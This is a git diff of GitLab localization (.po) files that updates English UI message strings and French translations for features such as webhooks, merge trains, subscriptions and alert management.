msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index d27a397e947..5ce2bc4a322 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,34 +14,34 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:43\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
-msgstr ""
+msgstr " %{start} à %{end}"
msgid " (from %{timeoutSource})"
msgstr " (depuis %{timeoutSource})"
msgid " Collected %{time}"
-msgstr ""
+msgstr " Collecté %{time}"
msgid " Please sign in."
msgstr " Veuillez vous identifier."
msgid " Try to %{action} this file again."
-msgstr ""
+msgstr " Réessayez de %{action} ce fichier."
msgid " You need to do this before %{grace_period_deadline}."
-msgstr ""
+msgstr " Vous devez faire cela avant %{grace_period_deadline}."
msgid " and"
msgstr " et"
msgid " and "
-msgstr ""
+msgstr " et "
msgid " and %{sliced}"
-msgstr ""
+msgstr " et %{sliced}"
msgid " degraded on %d point"
msgid_plural " degraded on %d points"
@@ -56,19 +56,22 @@ msgstr[1] " amélioré sur %d points"
msgid " or "
msgstr " ou "
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
-msgstr " ou <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
-msgstr ""
+msgstr " ou des références (par exemple chemin/vers/projet!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
+msgstr "\"%{path}\" n'existait pas sur \"%{ref}\""
+
+msgid "\"el\" parameter is required for createInstance()"
msgstr ""
msgid "%d Scanned URL"
@@ -297,6 +300,9 @@ msgstr[1] "%s commits supplémentaires ont été ignorés afin d’éviter de ca
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} et %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr "%{firstLabel} et %{labelCount} de plus"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Démarré"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} est verrouillé par l’utilisateur GitLab %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr "épopées %{state}"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(source externe)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>Supprime</strong> la branche source"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "Un « exécuteur » est un processus qui exécute une tâche. Vous pouvez configurer autant d’exécuteurs que nécessaire."
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr "Une nouvelle branche sera créée dans votre dépôt divergent (fork) et
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Un site HTML simple qui utilise Netlify comme intégration et livraison continues (CI/CD) au lieu de GitLab, mais en gardant toutes les autres fonctionnalités géniales de GitLab."
@@ -1234,6 +1285,9 @@ msgstr "Date d’expiration de l’accès"
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "Accès à « %{classification_label} » non autorisé"
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Actif"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Ajouter un CHANGELOG"
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr "Ajouter un commentaire"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Ajouter un enâ€tête et un pied de page aux courriels. Veuillez noter que les paramètres de couleur seront appliqués uniquement à l’intérieur de l’interface de l’application"
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr "Ajouter du texte en italique"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr "Spécifiez un domaine à utiliser par défaut pour les étapes Auto Revi
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] "Alertes"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Toutes les fonctionnalités sont activées pour les projets vierges, à partir de modèles ou lors de l’importation, mais vous pouvez les désactiver ultérieurement dans les paramètres du projet."
@@ -2471,6 +2540,9 @@ msgstr "Durée (en heures) durant laquelle les utilisateurs sont autorisés à
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,15 +2837,18 @@ msgstr "Une erreur s’est produite lors de la récupération de l’activité d
msgid "An error occurred while retrieving diff"
msgstr "Une erreur s’est produite lors de la récupération du diff"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Une erreur est survenue lors de l’enregistrement du statut d’outrepassement de l’annuaire LDAP. Veuillez réessayer."
msgid "An error occurred while saving assignees"
msgstr "Une erreur s’est produite lors de l’enregistrement des destinataires"
-msgid "An error occurred while saving the approval settings"
-msgstr ""
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Une erreur est survenue lors de la mise à jour du commentaire"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr "Une erreur s’est produite lors de la validation du nom d’utilisateur"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Une erreur est survenue. Merci de réessayer."
@@ -2870,6 +2963,9 @@ msgstr "Tout"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "avr."
msgid "April"
msgstr "avril"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
